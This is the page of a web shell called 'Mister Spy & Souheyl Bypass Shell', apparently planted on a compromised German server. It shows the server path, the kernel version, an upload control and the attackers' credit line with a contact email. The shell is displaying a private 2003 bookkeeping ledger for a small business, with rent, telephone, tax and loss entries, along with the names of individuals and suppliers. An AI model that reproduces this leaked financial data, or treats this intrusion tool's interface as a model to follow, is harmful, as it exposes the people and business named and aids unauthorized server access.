Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/web-klick.de/dsh/90_akt/nrn/kto_old/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/web-klick.de/dsh/90_akt/nrn/kto_old/ift2003.kto

/akt/nrn/kto/ift2003
20030101    -1959.33 11-1805                 10-0201-09              Restwert (2/3) Serversystem EUR 2939, Kauf 20020607, linear
20030101     -856.00 11-1805                 10-10050                Saldovortrag Werner Schilloi
20030101      208.80 11-1805                 10-10034-02002          Saldovortrag
20030101   -10000.00 11-1805                 10-1500                 Saldovortrag
20030102      348.00 13-4925                 10-10050                Büro-Kaltmiete JA
20030102      -48.00 13-4925                 11-1575-031             16 v.H. Vorst. von 348.00 (Büro-Kaltmiete JA)
20030102       80.00 13-4925                 10-10050                Betriebskosten, Warmwasser Büro JA
20030120       74.98 10-10024-03001          10-1202                 Rechnung bezahlt
20030120      -74.98 10-10024-03001          13-4920                 Telekom-Rechnung
20030120      -10.34 13-4920                 11-1575-031             16 v.H. Vorst. von -74.98 (Telekom-Rechnung)
20030122     -290.00 10-10034-03001          13-4950                 Zweite Teilrechnung Folder
20030122      -40.00 13-4950                 11-1575-031             16 v.H. Vorst. von 290.00 (Zweite Teilrechnung Folder)
20030130        4.09 13-4970                 10-1202                 Kontogebühren
20030201      348.00 13-4925                 10-10050                Büro-Kaltmiete FE
20030201      -48.00 13-4925                 11-1575-031             16 v.H. Vorst. von 348.00 (Büro-Kaltmiete FE)
20030201       80.00 13-4925                 10-10050                Betriebskosten, Warmwasser Büro FE
20030211      290.00 10-10034-03001          10-1202                 Rechnung bezahlt
20030211      502.90 10-10036-03001          10-1202                 Rechnung im voraus bezahlt (siehe ProForma-Rechnung)
20030217       82.84 10-10024-03002          10-1202                 Rechnung bezahlt
20030226      502.90 13-4950                 10-10036-03001          Rechte Denker Auguste Rodin
20030226      -32.90 13-4950                 11-1571-031             7 v.H. Vorst. von -502.90 (Rechte Denker Auguste Rodin)
20030226      -82.84 10-10024-03002          13-4920                 Telekom-Rechnung
20030226      -11.43 13-4920                 11-1575-031             16 v.H. Vorst. von 82.84 (Telekom-Rechnung)
20030301      348.00 13-4925                 10-10050                Büro-Kaltmiete MR
20030301      -48.00 13-4925                 11-1575-031             16 v.H. Vorst. von 348.00 (Büro-Kaltmiete MR)
20030301       80.00 13-4925                 10-10050                Betriebskosten, Warmwasser Büro MR
20030303     1612.40 13-4950                 10-10038-03001          Prospekt
20030303     -222.40 13-4950                 11-1575-031             16 v.H. Vorst. von 1612.40 (Prospekt)
20030305       -4.24 10-1202                 13-4970                 Kontogebühren
20030307       28.80 13-4900                 10-1000                 Briefmarken
20030307       17.16 13-4900                 10-1000                 Schreibwaren
20030307       -2.37 13-4900                 11-1575-031             16 v.H. Vorst. von -17.16 (Schreibwaren)
20030311     -356.70 10-10034-03002          13-4950                 Dritte und Abschluß-Rechnung Folder
20030311      -49.20 13-4950                 11-1575-031             16 v.H. Vorst. von -356.70 (Dritte und Abschluß-Rechnung Folder)
20030317      -35.00 10-1000                 13-4900                 CeBit
20030317      -74.68 10-10024-03003          13-4920                 Telekom-Rechnung
20030317      -10.30 13-4920                 11-1575-031             16 v.H. Vorst. von 74.68 (Telekom-Rechnung)
20030325      356.70 10-10034-03002          10-1202                 Rechnung bezahlt
20030325     1612.40 10-10038-03001          10-1202                 Rechnung bezahlt
20030328       74.68 10-10024-03003          10-1202                 Rechnung bezahlt
20030401      348.00 13-4925                 10-10050                Büro-Kaltmiete AP
20030401      -48.00 13-4925                 11-1575-032             16 v.H. Vorst. von 348.00 (Büro-Kaltmiete AP)
20030401       80.00 13-4925                 10-10050                Betriebskosten, Warmwasser Büro AP
20030402       -4.18 10-1202                 13-4970                 Kto.-Gebühr
20030414      -78.17 10-10024-03004          13-4920                 Telekom-Rechnung
20030414      -10.78 13-4920                 11-1575-032             16 v.H. Vorst. von 78.17 (Telekom-Rechnung)
20030416      -10.00 10-1000                 13-4640                 Taxi Frankfurt (myfactory)
20030417      -24.90 10-1000                 13-4940                 Buch: ASP.net
20030417       -1.63 13-4940                 11-1571-032             7 v.H. Vorst. von -24.90 (Buch: ASP.net)
20030425       78.17 10-10024-03004          10-1202                 Rechnung bezahlt
20030501      365.40 13-4925                 10-10050                Büro-Kaltmiete MA
20030501      -50.40 13-4925                 11-1575-032             16 v.H. Vorst. von 365.40 (Büro-Kaltmiete MA)
20030501       80.00 13-4925                 10-10050                Betriebskosten, Warmwasser Büro MA
20030502       -4.12 10-1202                 13-4970                 Kto.-Gebühr
20030515      -80.93 10-10024-03005          13-4920                 Telekom-Rechnung
20030515      -11.16 13-4920                 11-1575-032             16 v.H. Vorst. von 80.93 (Telekom-Rechnung)
20030521        9.00 13-4640                 10-1000                 Taxi Frankfurt I (myfactory)
20030521       -0.59 13-4640                 11-1571-032             7 v.H. Vorst. von 9.00 (Taxi Frankfurt I (myfactory))
20030521        9.00 13-4640                 10-1000                 Taxi Frankfurt II (myfactory)
20030521       -0.59 13-4640                 11-1571-032             7 v.H. Vorst. von 9.00 (Taxi Frankfurt II (myfactory))
20030526       80.93 10-10024-03005          10-1202                 Rechnung bezahlt
20030601      365.40 13-4925                 10-10050                Büro-Kaltmiete JN
20030601      -50.40 13-4925                 11-1575-032             16 v.H. Vorst. von 365.40 (Büro-Kaltmiete JN)
20030601       80.00 13-4925                 10-10050                Betriebskosten, Warmwasser Büro JN
20030602       -4.12 10-1202                 13-4970                 Kto.-Gebühr
20030616      -80.77 10-10024-03006          13-4920                 Telekom-Rechnung
20030616      -11.14 13-4920                 11-1575-032             16 v.H. Vorst. von -80.77 (Telekom-Rechnung)
20030626       80.77 10-10024-03006          10-1202                 Rechnung bezahlt
20030701      365.40 13-4925                 10-10050                Büro-Kaltmiete JL
20030701      -50.40 13-4925                 11-1575-033             16 v.H. Vorst. von 365.40 (Büro-Kaltmiete JL)
20030701       80.00 13-4925                 10-10050                Betriebskosten, Warmwasser Büro JL
20030702       -0.55 10-1202                 13-4970                 Kto.-Gebühr, Porto
20030702       -4.09 10-1202                 13-4970                 Kto.-Gebühr
20030712       35.95 13-4940                 10-1000                 Buch: PHP 4
20030712       -2.35 13-4940                 11-1571-033             7 v.H. Vorst. von 35.95 (Buch: PHP 4)
20030715      -74.29 10-10024-03007          13-4920                 Telekom-Rechnung
20030715      -10.25 13-4920                 11-1575-033             16 v.H. Vorst. von -74.29 (Telekom-Rechnung)
20030724     2637.60 10-10050                10-1202                 Büro-Kaltmiete MR AP MA JN JL AU 2003
20030724       74.29 10-10024-03007          10-1202                 Rechnung bezahlt
20030801      365.40 13-4925                 10-10050                Büro-Kaltmiete AU
20030801      -50.40 13-4925                 11-1575-033             16 v.H. Vorst. von 365.40 (Büro-Kaltmiete AU)
20030801       80.00 13-4925                 10-10050                Betriebskosten, Warmwasser Büro AU
20030805       -4.33 10-1202                 13-4970                 Kto.-Gebühr
20030812       74.23 13-4920                 10-10024-03008          Telekom-Rechnung
20030812      -10.24 13-4920                 11-1575-033             16 v.H. Vorst. von 74.23 (Telekom-Rechnung)
20030821      -74.23 10-1202                 10-10024-03008          Rechnung bezahlt
20030827       39.90 13-4940                 10-1000                 Buch: C++
20030827       -2.61 13-4940                 11-1571-033             7 v.H. Vorst. von 39.90 (Buch: C++)
20030827        7.98 13-4801                 10-1000                 CD-Rohlinge
20030827       -1.10 13-4801                 11-1575-033             16 v.H. Vorst. von 7.98 (CD-Rohlinge)
20030901      365.40 13-4925                 10-10050                Büro-Kaltmiete SE
20030901      -50.40 13-4925                 11-1575-033             16 v.H. Vorst. von 365.40 (Büro-Kaltmiete SE)
20030901       80.00 13-4925                 10-10050                Betriebskosten, Warmwasser Büro SE
20030902       -4.06 10-1202                 13-4970                 Kto.-Gebühr
20030904       74.99 13-4801                 10-1202                 Druckerpatrone
20030904      -10.34 13-4801                 11-1575-033             16 v.H. Vorst. von 74.99 (Druckerpatrone)
20030911       76.91 13-4920                 10-10024-03009          Telekom-Rechnung
20030911      -10.61 13-4920                 11-1575-033             16 v.H. Vorst. von 76.91 (Telekom-Rechnung)
20030922      -76.91 10-1202                 10-10024-03009          Rechnung bezahlt
20030929      856.00 10-10050                10-1202                 Büro-Kaltmiete SE, OC
20030929       40.00 13-4640                 10-1000                 Jahreskarte Bundesbahn
20030929     1160.00 13-4640                 10-1200                 Jahreskarte Bundesbahn
20030929     1800.00 13-4640                 10-1202                 Jahreskarte Bundesbahn
20030929     -248.28 13-4640                 11-1575-033             16 v.H. Vorst. von 1800.00 (Jahreskarte Bundesbahn)
20030929     -160.00 13-4640                 11-1575-033             16 v.H. Vorst. von 1160.00 (Jahreskarte Bundesbahn)
20030929       -5.52 13-4640                 11-1575-033             16 v.H. Vorst. von 40.00 (Jahreskarte Bundesbahn)
20031001      365.40 13-4925                 10-10050                Büro-Kaltmiete OC
20031001      -50.40 13-4925                 11-1575-034             16 v.H. Vorst. von 365.40 (Büro-Kaltmiete OC)
20031001       80.00 13-4925                 10-10050                Betriebskosten, Warmwasser Büro OC
20031002       -4.30 10-1202                 13-4970                 Kto.-Gebühr
20031007       35.99 13-4801                 10-1000                 Druckerpatrone, Kabel
20031007       -4.96 13-4801                 11-1575-034             16 v.H. Vorst. von 35.99 (Druckerpatrone, Kabel)
20031011       76.44 13-4920                 10-10024-03010          Telekom-Rechnung
20031011      -10.54 13-4920                 11-1575-034             16 v.H. Vorst. von 76.44 (Telekom-Rechnung)
20031022      -76.44 10-1202                 10-10024-03010          Rechnung bezahlt
20031030       -4.03 10-1202                 13-4970                 Kto.-Gebühr
20031101      365.40 13-4925                 10-10050                Büro-Kaltmiete NO
20031101      -50.40 13-4925                 11-1575-034             16 v.H. Vorst. von 365.40 (Büro-Kaltmiete NO)
20031101       80.00 13-4925                 10-10050                Betriebskosten, Warmwasser Büro NO
20031111       75.60 13-4920                 10-10024-03011          Telekom-Rechnung
20031111      -10.43 13-4920                 11-1575-034             16 v.H. Vorst. von 75.60 (Telekom-Rechnung)
20031114        7.98 13-4801                 10-1000                 CD-Rohlinge
20031114       -1.10 13-4801                 11-1575-034             16 v.H. Vorst. von 7.98 (CD-Rohlinge)
20031121      -75.60 10-1202                 10-10024-03011          Rechnung bezahlt
20031130       -4.06 10-1202                 13-4970                 Kto.-Gebühr
20031201      365.40 13-4925                 10-10050                Büro-Kaltmiete DE
20031201      -50.40 13-4925                 11-1575-034             16 v.H. Vorst. von 365.40 (Büro-Kaltmiete DE)
20031201       80.00 13-4925                 10-10050                Betriebskosten, Warmwasser Büro DE
20031205       12.95 13-4801                 10-1000                 CD-Rohlinge
20031205       -1.79 13-4801                 11-1575-034             16 v.H. Vorst. von 12.95 (CD-Rohlinge)
20031211       76.25 13-4920                 10-10024-03012          Telekom-Rechnung
20031211      -10.52 13-4920                 11-1575-034             16 v.H. Vorst. von 76.25 (Telekom-Rechnung)
20031229      -76.25 10-1202                 10-10024-03012          Rechnung bezahlt
20031231      979.67 13-4830                 10-0201-09              1/3 Abschreibung Serversystem: Server, Drucker, Monitor usw., Kauf 20020607, linear
20031231       -4.15 10-1202                 13-4970                 Kto.-Gebühr
20031231      314.61 10-1000                 11-1800                 Privateinlage
20031231     1160.00 10-1200                 11-1800                 Privateinlage
20031231     9107.00 10-1202                 11-1800                 Privateinlage
20031231    14000.00 10-1500                 12-8500                 Verlustvortrag
20031231     2000.00 13-4971                 11-1800                 Zinsen für linear steigende Aufwendungen von 8500 auf 8500+12000 in 12 Monaten (Zinssatz 14 v.H.)
20031231    -1000.00 13-4971                 11-1800                 Zinsen nur halb anrechenbar lt. Telefonat Mattausch
(Zinssatz:                       14
10                               Aktiva
10-0201                          Sachanlagen
10-1000                          Kasse
10-10010                         Dirk Blume DBI
10-10016                         securenet
10-10018                         Daniela Jungblut
10-10020                         City-Druck
10-10022                         MR Datentechnik
10-10024                         Telekom
10-10026                         Deutsche Bahn
10-10028                         Dnieproavia
10-10030                         BR Beschallungstechnik
10-10032                         SuSE GmbH
10-10034                         Marc Besten Digital Media
10-10036                         getty images
10-10038                         RK Drucklogistik
10-10050                         Werner Schilloi
10-1200                          Konto
10-1201                          Konto Dresdner Bank
10-1202                          Kto_Sparkasse_Fürth
10-1500                          Verlustvortrag
11                               Passiva
11-11010                         Dirk Blume DBI, Spiegelkto
11-11012                         Strato AG, Spiegelkto
11-11016                         securenet, Spiegelkonto
11-11018                         Daniela Jungblut, Spiegelkonto
11-11020                         City-Druck, Spiegelkonto
11-11022                         MR Datentechnik, Spiegelkonto
11-11024                         Telekom, Spiegelkonto
11-11026                         Deutsche Bahn, Spiegelkonto
11-11028                         Dnieproavia, Spiegelkonto
11-11030                         BR Beschallungstechnik, Spiegelkonto
11-11032                         SuSE GmbH, Spiegelkonto
11-11034                         Marc Besten Digital Media, Spiegelkonto
11-11036                         getty images, Spiegelkonto
11-11038                         RK Drucklogistik, Spiegelkonto
11-11050                         Werner Schilloi, Spiegelkonto
11-1571                          Vorsteuer 7 v.H.
11-1575                          Vorsteuer 16 v.H.
11-1775                          Umsatzsteuer 16 v.H.
11-1800                          Privatentnahmen Vollhalter
11-1805                          Saldovortrag
11-1890                          Privateinlagen Vollhalter
11-1895                          Saldovortrag
12                               Ertrag
12-8401                          Umsatz (USt. 16 v.H. nach Erhalt)
12-8500                          Verlustvortrag
13                               Aufwand
13-4390                          Sonstige Abgaben
13-4640                          Fahrtkosten
13-4645                          Reisespesen
13-4650                          Bewirtungskosten
13-4680                          Transportkosten
13-4801                          Instandhaltung Computer, Kleinteile
13-4830                          Abschreibungen
13-4860                          Abschreibungen
13-4900                          Sonstige betriebliche Aufwendungen
13-4910                          Porto
13-4920                          Telefonkosten
13-4925                          Büromiete
13-4930                          Bürobedarf
13-4935                          Büroeinrichtung
13-4940                          Zeitschriften, Bücher
13-4950                          Werbematerialien
13-4970                          Kosten des Geldverkehrs
13-4971                          Zinskosten
13-4981                          Provider-Kosten
13-4982                          Bürohilfe
8622+12054                       EUR
Aufwendungen                     von

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net